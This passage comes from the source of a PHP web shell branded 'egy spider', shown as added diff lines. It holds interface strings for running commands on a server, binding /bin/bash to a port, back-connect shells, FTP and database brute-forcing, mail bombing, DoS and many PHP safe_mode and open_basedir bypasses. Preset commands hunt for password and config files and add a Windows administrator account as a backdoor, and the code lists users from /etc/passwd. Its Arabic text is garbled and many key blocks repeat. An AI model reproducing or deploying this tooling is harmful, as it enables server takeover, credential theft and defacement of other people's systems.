����� ������� ������ ���� �� ', +'ar_text230'=>'��� ��� ������ ����� ������ ������ ������� ���� ����� ', +'ar_text151'=>'���� ����� ��� � chdir()and ftok() (PHP <= 5.2.6)', +'ar_text161'=>'���� ����� ��� � posix_access() (posix ext) (PHP <= 5.2.6)', +'ar_text147'=>'', +'ar_text148'=>'', +'ar_text149'=>'', +'ar_text150'=>'', +'ar_text159'=>'������� �� egy spider', +'ar_text152'=>'��� �������', +'ar_text153'=>'���� ', +'ar_text154'=>'��� ����� ����� ', +'ar_text155'=>'��� ����� ', +'ar_text156'=>'��� ����� ', +'ar_text157'=>'������� �� ����� ��� ', +'ar_text158'=>'����� ������� ', +'ar_text160'=>'������� ', +'ar_text162'=>'����� ������ ����� ����� ��� �� ���� ionCube (PHP <= 5.2.4)', +'ar_text163'=>'����� ������ ��� ������� ', +'ar_text170'=>' ���� ����� ��� ������� � Posix_getpw(PHP <= 4.2.0)', +'ar_text171'=>' PHP (Win32std) Extension ���� ����� ��� ����� ������ (PHP <= 5.2.3)', +'ar_text180'=>'���� �������� ����� �� ', +/* --------------------------------------------------------------- */ +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_butt3' =>'Bind', +'eng_butt4' =>'Connect', +'eng_butt5' =>'Run', +'eng_butt6' =>'Change', +'eng_butt7' =>'Show', +'eng_butt8' =>'Test', +'eng_butt9' =>'Dump', +'eng_butt10'=>'Save', +'eng_butt11'=>'Edit file', +'eng_butt12'=>'Find', +'eng_butt13'=>'Create/Delete', +'eng_butt14'=>'Download', +'eng_butt15'=>'Send', +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_text30'=>'Cat file', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without arch.', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'/etc/passwd', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu)', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'eng_text125'=>'Data', +'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'eng_text128'=>'Modify/Access file (touch)', +'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'eng_'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'eng_text134'=>'Database-bruteforce', +'eng_text135'=>'Dictionary', +'eng_text136'=>'Creating evil symlink', +'eng_text137'=>'Useful', +'eng_text138'=>'Dangerous', +'eng_text139'=>'Mail Bomber', +'eng_text140'=>'DoS', +'eng_text141'=>'Danger! Web-daemon crash possible.', +'eng_text142'=>'Downloaders', +'eng_text143'=>'Temp: ', +'eng_text144'=>'Test bypass safe_mode with load file in mysqli', +'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', +'eng_text146'=>'Max Interation', +'eng_text147'=>'', +'eng_text148'=>'', +'eng_text149'=>'', +'eng_text150'=>'', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_butt65'=>'Create', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +'eng_text200'=>'read file from vul copy()', +'eng_text500'=>'read file from id()', +'eng_text555'=>'read file from imap()', +'eng_text202'=>'where file in server', +'eng_text300'=>'read file from vul curl()', +'eng_text203'=>'read file from vul ini_restore()', +'eng_text204'=>'write shell from vul error_log()', +'eng_text205'=>'write shell in this side', +'eng_text206'=>'read dir', +'eng_text207'=>'read dir from vul reg_glob', +'eng_text208'=>'execute with function', +'eng_text209'=>'read dir from vul root', +'eng_text210'=>'DeZender ', +'eng_text211'=>'::safe_mode off::', +'eng_text212'=>'colse safe_mode with php.ini', +'eng_text213'=>'colse security_mod with .htaccess', +'eng_text214'=>'Admin name', +'eng_text215'=>'IRC server ', +'eng_text216'=>'#room name', +'eng_text217'=>'server', +'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul', +'eng_text225'=>'MySQL Safe Mode Bypass 4.4.7 / 5.2.3 PHP ', +'eng_text226'=>'Safe Mode Bpass Root Directory: ', +'eng_text227'=>'Safe_Mode Bypass 4.4.2/5.1.2: ', +'eng_text228'=>'tools for hacker vb ', +'eng_text230'=>'know pass of cpanel ', +'eng_text219'=>'Get file to server in safe_mode and change name', +'eng_text220'=>'show file with symlink vul', +'eng_text221'=>'zip file in server to download', +'eng_text222'=>'2 symlink use vul', +'eng_text223'=>'read file from funcution', +'eng_text224'=>'read file from PLUGIN ', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_butt3' =>'Bind', +'eng_butt4' =>'Connect', +'eng_butt5' =>'Run', +'eng_butt6' =>'Change', +'eng_butt7' =>'Show', +'eng_butt8' =>'Test', +'eng_butt9' =>'Dump', +'eng_butt10'=>'Save', +'eng_butt11'=>'Edit file', +'eng_butt12'=>'Find', +'eng_butt13'=>'Create/Delete', +'eng_butt14'=>'Download', +'eng_butt15'=>'Send', +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_text30'=>'Cat file', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without arch.', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'/etc/passwd', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu)', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'eng_text125'=>'Data', +'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'eng_text128'=>'Modify/Access file (touch)', +'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'eng_text134'=>'Database-bruteforce', +'eng_text135'=>'Dictionary', +'eng_text136'=>'Creating evil symlink', +'eng_text137'=>'Useful', +'eng_text138'=>'Dangerous', +'eng_text139'=>'Mail Bomber', +'eng_text140'=>'DoS', +'eng_text141'=>'Danger! Web-daemon crash possible.', +'eng_text142'=>'Downloaders', +'eng_text143'=>'Temp: ', +'eng_text144'=>'Test bypass safe_mode with load file in mysqli', +'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', +'eng_text146'=>'Max Interation', +'eng_text151'=>'Test bypass safe_mode with chdir()and ftok() (PHP <= 5.2.6)', +'eng_text161'=>'Test bypass safe_mode with posix_access() (posix ext) (PHP <= 5.2.6)', +'eng_text162'=>'ionCube extension safe_mode and disable_functions protections bypass (PHP <= 5.2.4)', +'eng_text163'=>'PHP Perl Extension Safe_mode Bypass Exploit', +'eng_text170'=>' Test bypass safe_mode and Open_basedir Settings by Posix_getpw (PHP <= 4.2.0)', +'eng_text171'=>' PHP (Win32std) Extension safe_mode/disable_functions Protections Bypass (PHP <= 5.2.3)', +'eng_text147'=>'', +'eng_text148'=>'', +'eng_text149'=>'', +'eng_text150'=>'', +'eng_text159'=>'About egy spider', +'eng_text152'=>'Latest News', +'eng_text153'=>'Logout ', +'eng_text154'=>'Quick index ', +'eng_text155'=>'Mass Code Injection ', +'eng_text156'=>'File source ', +'eng_text157'=>'Registration in Zone-h ', +'eng_text158'=>'Hash Tools ', +'eng_text160'=>'Home Shell ', +'eng_text180'=>'Send Your Comments And Contacted Me ', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', + +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'----------------------------------locate'=>'', +'find httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate proftpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate psybnc.conf'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate my.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate admin.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate cfg.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate conf.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.dat files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.inc files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.inc.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.default.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .pwd files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .sql files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .htpasswd files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .bash_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .mysql_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate backup files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate dump files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate priv files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'________________find orders ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'cat /var/cpanel/accounting.log'=>'cat /var/cpanel/accounting.log', +'find all site of server and user'=>'ls -la /etc/valiases', +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'________________var orders var______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ error_log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ access.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ error.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ &quot;*.log&quot; files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'________________for server windows ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'1_learn the management server'=>'net user', +'2_add new user'=>'net user egy_spider 123456 /add', +'3_add your user for admin group (this order after add order 1&2'=>'net localgroup administrators egy_spider /add', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; } +if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];} +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = @php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } + +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div 